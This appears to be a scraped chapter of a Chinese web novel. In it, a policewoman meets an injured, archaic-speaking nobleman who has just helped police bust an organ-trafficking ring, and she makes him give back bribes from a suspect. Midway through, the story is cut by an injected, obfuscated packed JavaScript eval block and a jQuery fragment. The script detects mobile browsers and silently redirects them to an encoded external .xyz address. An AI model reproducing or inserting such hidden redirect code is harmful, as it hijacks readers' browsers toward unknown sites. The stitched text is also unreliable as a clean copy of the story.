君令仪大惊失色,脑袋顿时宕了机。
所以,她还是没有劝住自己,跳楼死了吗?!
“不要啊!我想活!”她极度惊悚地喊叫起来。
“哐当!”一声巨响,伴随着腰背一阵钝痛,君令仪在黑暗中惊觉脑壳像被劈开一样剧痛无比!心口也像被刀割一样疼!
完了完了完了,她真被鬼附身被逼跳楼了!!!
不过,不幸中的万幸,她好像没死成,还能动。
君令仪尝试着扶着身旁的墙壁爬了起来。
等等,不对,这墙壁的触感光滑温热,不像冰凉粗糙的青石砖!而且,哪有夜深如水,哪有寂静无声,空气分明燥热得厉害,耳边“吱呀吱呀”响起的是旧风扇转动不畅的无奈声音。
啊!她还在刚租的城中村的单间里呢。她急忙摸了摸自己的后脑、背部。干燥热乎,完整无缺,没有血迹,没有伤口。
她根本没去什么城门楼。她是做梦了!
“呼——”君令仪长吁了一口气,一放松,才发现腰和手臂确实有点疼,原来她刚才做梦时,惊慌中从床上掉了下来。
对比跳楼而亡,就这点小伤小痛,君令仪根本不放在心上,她粗线条地爬上了床继续睡大觉。
昨晚睡得少,今天起得早,白天还出勤了一天,她一点都不想为莫名其妙的事消耗心神,更何况只是一个影视剧里长镜头一样的梦而已。
管他呢,早睡早起,明天还要上班。活着就好!
就这样,君令仪像往常一样哼哧哼哧地上班,又没心没肺地回到出租屋准备下一年的民警招录考试。
那被容成叙跳楼砸坏的小电驴,重要零部件还好好的,她从事故停车场领了回来,没钱修继续先这么开着。路人侧目而视,她权当人家是行注目礼。
没过几天,朱壮朱大姐终于看不下去了。
这天下班,他又在警局大院里看到那辆形象碍眼的浅黄色的小电驴了,不得不好言相劝它的主人,道:“我说君姐,宝宝,你行行好叭,就算不去补漆,也至少给人小黄驴把眼睛装回去吧,瞎了一只眼看着怪可怜的。”
君令仪剜了他一眼:“要你管!要有钱我能不修它,还有两个星期才发工资,我修了它我自己只能吃土了。你可怜它谁可怜我啊!要不你管我吃饭?”
朱壮掩嘴惊叫:“你没病吧!你在变相让我养你!你该不会是对我有意思吧?千万别,我可消受不起。”
君令仪干笑两声,过去把他挤开来,道:“呵呵!是是是,对你有意思,有恨不得给你两巴掌的那意思。好狗不挡道,别挡我下班哦。”
“你才狗!汪汪狗!”朱壮牙痒痒地回她一句,但很快就被一辆驶入大院里的警车吸引住了目光。准确地说,应该是被警车下来的一拨人勾走了魂。
君令仪见他还不走,随着他的视线也好奇地望过去。
这一望不得了!一双漆黑明亮的双眸定定地注视着她!
嗯?这还没几天,他怎么回来了?
等等,他怎么是一身破烂装扮?虽然穿的都是上次给他买的衣服,但T恤竟被划破了两个大口子,还染着血迹!帆布鞋也坏了一只!脸上更是惨不忍睹,青一块红一块,还有一处擦伤,丸子头也松松垮垮的,几撮黝亮的长发散落下来,有种江湖侠客对决过大招的意味。
“我天!这战损气场比之前病服装的病态美更撩人呀!”朱壮心驰神往道。
“撩人个屁啊!”君令仪怼他,有点担心地跑过去。
朱壮也八卦地跟了过去。
君令仪站定在那战损装的男人的面前,问道:“你发生了什么?搞成这副鬼样!”
容成叙好心情地一笑道:“哪有我如此美貌的鬼。”
君令仪丝毫没有因为他的玩笑话而逗乐,反而严肃道:“我问你干什么了!”
容成叙一愣,正要回答她,旁边的一个民警插话道:“美女,我看你有点眼熟,你是防控队老谢的手下吧,你是这帅哥的什么人?”
君令仪道:“我是他朋友。”
民警这才好心道:“这帅哥协助我们捣毁了一个人体器官非法移植的窝点,立大功了,虽然是受了点伤,但没大碍,你就别怪他了。再说了,他自己也是受害者呢,差点就被人割了腰子,等会录完口供,你和他回去好好压压惊哈。”
寥寥几句,就已听出惊险万分,君令仪惊讶地看了看容成叙,再回头对民警说:“谢谢你们把他完好无缺地带回来了,不然我还真挺愧疚的。”
民警摆摆手,朝他们颔首后,跟着前面押着嫌疑人的一拨人进了楼里。
君令仪上下打量了眼面前的人,确认他的确没什么致命的损伤,放心地道:“既然你没事,那就再见了!”她说着,转身打算走了。
谁知她刚一转身,后面就传来了一声:“哎呦!好痛!”
君令仪狐疑地回身,看到的是容成叙捂住肚子,愁眉苦脸的模样。
朱壮掩嘴在她耳旁轻声道:“装的,你别信他,我最懂了这种把戏了。”
容成叙显然听到了,冷冷地白了他一眼,似乎在怪他多管闲事。
朱壮赶紧闭了嘴,不敢再说一句不是。
君令仪当然也看穿了他笨拙的演技,没好气地问:“哪里痛了,把衣服撩起来,我看看?”
容成叙一听,脸都绿了,咬牙切齿道:“大庭广众之下,袒露肚皮成何体统!君小姐为何来了岭南竟变得如此——不知廉耻!是结识了放浪之人之故?”他说着,锐利地给了朱壮一个眼刀。
朱壮被冤枉了,张了张口却不敢反驳他。
君令仪才不纵容他,理直气壮道:“是你自己说痛的,我好心帮你检查,你倒好,一言不合就说我不知廉耻。既然这样,那我走了。”
容成叙连忙挡住了她的去路,可怜兮兮道:“我无处可去,你留下我吧。他不养你,我能养你。”他从牛仔裤的口袋里献宝似的掏出一条大金链子和一块名牌机械手表呈到她面前来。
这都是贵重物品,他该不会偷的吧?!
“这哪来的?”君令仪严肃地问。
“那犯人给的,求我饶他一命。”容成叙实诚道。
朱壮好奇地拿起金链子放在嘴里咬了咬,点了点头,放下后又拿了那块手表,仔细看了看道:“这表仿得真好,可惜了,假货,如假包换。”
容成叙又不满地刀了他一眼,将大金链子塞到君令仪手里,真诚地道:“真金子。”
君令仪皱了皱眉,他怎么好像还是没有基本的法律概念呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323387|183194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
犯人给他这些东西叫贿赂、收买,也是犯法的,不能要的。
她收走了金链子和手表,边拉着他进楼里边教育道:“犯人给的任何东西都不能要,这些都是赃物。懂了吗?”
容成叙却道:“没钱如何养你?”
君令仪无语道:“我好着呢,不用你养,更消受不起这些脏钱。”
容成叙指指后边的朱壮,道:“那他呢?你还想指望他养你?”
君令仪竖起了眉,郑重其事道:“姑奶奶我能养活自己,不奢望你们这些臭男人!”顿了顿,她不耐烦的,“赶紧的,把赃物还回去。”
容成叙还是不依不饶的:“我若归还,无钱也无住处,你收留我?”
这人不如改姓赖好了,好不容易撇下他,这会遇到了又像牛皮糖一样黏了上来。
君令仪横他一眼:“我家庙小,容不下您这尊大佛。而且,救助站会好好安置你,也会帮你找到家人,你就放宽心待在救助站好吧。”
容成叙立马变脸似的又委屈又失望地道:“我方从那处逃命,你又要将我送入虎口,君小姐好狠的心!”
“救助站哪是虎口了?!你这人好歹不分。”
“方才那捕快所言之窝点,便是君小姐所说的救助站。”
啊这,太出乎意料了!按他这么说,她确实是把他推入了火坑。
虽然明知不是自己的错,君令仪还是没来由的一阵内疚,但没钱的事实很快把她拉回现实。她甩甩头,声明道:“反正我没钱供你吃住,你不要赖上我。”
容成叙抿紧了唇,盯着她,语气异常落寞:“我流放至此,除了君小姐,不识他人。”
朱壮一听这话,终于找到契机似的往前几步,向容成叙摆摆手,笑眯眯道:“Hi!朋友,我叫朱壮,可以叫我朱大哥或者壮小妹,实在勉强,壮哥也成。嘿嘿,你怎么称呼啊?你皮肤怎么保养的?头发怎么打理的?有什么诀窍和秘方吗?大家都是朋友分享分享嘛。”
容成叙皱了皱眉,后退一步,眼高过天,语气不屑道:“你可知我是何许人也?区区一介草民也想结识本侯……咳,结识我?哼!”
啧啧啧!瞧这傲娇显摆的小样儿,又演上了……
君令仪情不自禁地翻了个白眼。
朱壮闻言一愣,随后像发现新大陆一般,走过去一把握住了他的手,兴奋道:“啊哈!你好有趣,你这朋友我交定了,你到底叫啥?”
容成叙神色一僵,嫌弃地抽回自己的手,想从裤兜里掏出件东西擦手,可裤兜里哪有东西,他掏了个寂寞。
君令仪瞧他一脸膈应,坏心眼又起,对朱壮道:“壮哥,他叫容成叙,叫他叙叙就好。叙叙,嘘嘘,嘘嘘嘘……”
“哎呀!小君君,你别叫了,叫得我都想上厕所了!”朱壮踱了下脚嗔怪道。
容成叙脸上的肌肉抽搐了一下,但好教养愣是让他忍住了骂人,他瞪了君令仪一眼,别开了脸道:“除了君小姐,其他人不可直呼我的名讳。”他像是终于妥协了似的,撇了撇嘴,“我字纵怀,可唤我纵怀。”
朱壮从善如流道:“纵怀兄,什么年代了你父母竟然还给你起了字,你们家可真有意思!哈哈!”
容成叙白了他一眼,拉住君令仪就往接警中心走。